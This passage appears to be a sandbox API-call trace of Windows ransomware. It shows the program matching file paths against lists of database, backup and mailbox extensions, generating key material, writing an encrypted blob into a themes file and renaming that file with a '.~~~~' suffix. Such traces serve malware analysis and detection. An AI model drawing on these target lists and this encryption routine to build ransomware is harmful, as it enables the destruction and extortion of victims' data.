	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".bac") returned 0x0
	[0084.808] lstrlenW (lpString=".mdf") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".mdf") returned 0x0
	[0084.808] lstrlenW (lpString=".BAK") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".BAK") returned 0x0
	[0084.809] lstrlenW (lpString=".BAC") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".BAC") returned 0x0
	[0084.809] lstrlenW (lpString=".dbs") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dbs") returned 0x0
	[0084.809] lstrlenW (lpString=".vhdx") returned 5
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".vhdx") returned 0x0
	[0084.809] lstrlenW (lpString=".NDF") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".NDF") returned 0x0
	[0084.809] lstrlenW (lpString=".dat") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dat") returned 0x0
	[0084.809] lstrlenW (lpString=".DBS") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DBS") returned 0x0
	[0084.809] lstrlenW (lpString=".CKP") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".CKP") returned 0x0
	[0084.809] lstrlenW (lpString=".edb") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".edb") returned 0x0
	[0084.809] lstrlenW (lpString=".PST") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".PST") returned 0x0
	[0084.809] lstrlenW (lpString=".dbf") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dbf") returned 0x0
	[0084.809] lstrlenW (lpString=".SQL") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".SQL") returned 0x0
	[0084.809] lstrlenW (lpString=".pst") returned 4
	[0084.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".pst") returned 0x0
	[0084.810] lstrlenW (lpString=".dbv") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dbv") returned 0x0
	[0084.810] lstrlenW (lpString=".SDF") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".SDF") returned 0x0
	[0084.810] lstrlenW (lpString=".dtxs") returned 5
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dtxs") returned 0x0
	[0084.810] lstrlenW (lpString=".db3") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".db3") returned 0x0
	[0084.810] lstrlenW (lpString=".OST") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".OST") returned 0x0
	[0084.810] lstrlenW (lpString=".dbx") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dbx") returned 0x0
	[0084.810] lstrlenW (lpString=".DB3") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DB3") returned 0x0
	[0084.810] lstrlenW (lpString=".DAT") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DAT") returned 0x0
	[0084.810] lstrlenW (lpString=".VHDX") returned 5
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".VHDX") returned 0x0
	[0084.810] lstrlenW (lpString=".ndf") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".ndf") returned 0x0
	[0084.810] lstrlenW (lpString=".DB") returned 3
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DB") returned 0x0
	[0084.810] lstrlenW (lpString=".sql") returned 4
	[0084.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".sql") returned 0x0
	[0084.811] lstrlenW (lpString=".MYD") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".MYD") returned 0x0
	[0084.811] lstrlenW (lpString=".DBT") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DBT") returned 0x0
	[0084.811] lstrlenW (lpString=".ACCDB") returned 6
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".ACCDB") returned 0x0
	[0084.811] lstrlenW (lpString=".fdb") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".fdb") returned 0x0
	[0084.811] lstrlenW (lpString=".bak") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".bak") returned 0x0
	[0084.811] lstrlenW (lpString=".myd") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".myd") returned 0x0
	[0084.811] lstrlenW (lpString=".DTXS") returned 5
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DTXS") returned 0x0
	[0084.811] lstrlenW (lpString=".ckp") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".ckp") returned 0x0
	[0084.811] lstrlenW (lpString=".dbt") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dbt") returned 0x0
	[0084.811] lstrlenW (lpString=".db") returned 3
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".db") returned 0x0
	[0084.811] lstrlenW (lpString=".TXT") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".TXT") returned 0x0
	[0084.811] lstrlenW (lpString=".MDF") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".MDF") returned 0x0
	[0084.811] lstrlenW (lpString=".bdb") returned 4
	[0084.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".bdb") returned 0x0
	[0084.812] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.812] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.813] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.813] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.813] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20480316686) returned 1
	[0084.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c636e10, dwHighDateTime=0x1d60e1e)) 
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa128
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa128 | out: hHeap=0x300000) returned 1
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6a78
	[0084.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0084.814] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.814] GetLastError () returned 0x0
	[0084.814] GetLastError () returned 0x0
	[0084.814] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.814] GetLastError () returned 0x0
	[0084.814] GetLastError () returned 0x0
	[0084.816] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffdf2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.816] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x20e, lpOverlapped=0x0) returned 1
	[0084.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.816] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.816] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.817] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.817] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.817] CloseHandle (hObject=0x120) returned 1
	[0084.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.817] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.~~~~")) returned 1
	[0084.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.821] GetLastError () returned 0x0
	[0084.821] RtlWakeConditionVariable () returned 0x365f70
	[0084.821] GetCurrentThreadId () returned 0xaf0
	[0084.821] GetCurrentThreadId () returned 0xaf0
	[0084.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0084.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ec0 | out: hHeap=0x300000) returned 1
	[0084.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6b20
	[0084.821] lstrlenW (lpString=".scr") returned 4
	[0084.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.821] lstrlenW (lpString=".cmd") returned 4
	[0084.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.821] lstrlenW (lpString=".dll") returned 4
	[0084.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.821] lstrlenW (lpString=".bat") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.822] lstrlenW (lpString=".cpl") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.822] lstrlenW (lpString=".sys") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.822] lstrlenW (lpString=".msc") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.822] lstrlenW (lpString=".com") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.822] lstrlenW (lpString=".lnk") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.822] lstrlenW (lpString=".msp") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.822] lstrlenW (lpString=".pif") returned 4
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.822] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.823] lstrlenW (lpString=".sqb") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.823] lstrlenW (lpString=".ost") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.823] lstrlenW (lpString=".txt") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.823] lstrlenW (lpString=".mdt") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.823] lstrlenW (lpString=".BDB") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.823] lstrlenW (lpString=".eql") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.823] lstrlenW (lpString=".DBF") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.823] lstrlenW (lpString=".EQL") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.823] lstrlenW (lpString=".FDB") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.823] lstrlenW (lpString=".EDB") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.823] lstrlenW (lpString=".DACPAC") returned 7
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.823] lstrlenW (lpString=".VHD") returned 4
	[0084.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.824] lstrlenW (lpString=".DBV") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.824] lstrlenW (lpString=".dacpac") returned 7
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.824] lstrlenW (lpString=".sdf") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.824] lstrlenW (lpString=".accdb") returned 6
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.824] lstrlenW (lpString=".DBX") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.824] lstrlenW (lpString=".MDT") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.824] lstrlenW (lpString=".SQB") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.824] lstrlenW (lpString=".vhd") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.824] lstrlenW (lpString=".bac") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.824] lstrlenW (lpString=".mdf") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.824] lstrlenW (lpString=".BAK") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.824] lstrlenW (lpString=".BAC") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.824] lstrlenW (lpString=".dbs") returned 4
	[0084.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.824] lstrlenW (lpString=".vhdx") returned 5
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.825] lstrlenW (lpString=".NDF") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.825] lstrlenW (lpString=".dat") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.825] lstrlenW (lpString=".DBS") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.825] lstrlenW (lpString=".CKP") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.825] lstrlenW (lpString=".edb") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.825] lstrlenW (lpString=".PST") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.825] lstrlenW (lpString=".dbf") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.825] lstrlenW (lpString=".SQL") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.825] lstrlenW (lpString=".pst") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.825] lstrlenW (lpString=".dbv") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.825] lstrlenW (lpString=".SDF") returned 4
	[0084.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.825] lstrlenW (lpString=".dtxs") returned 5
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.883] lstrlenW (lpString=".db3") returned 4
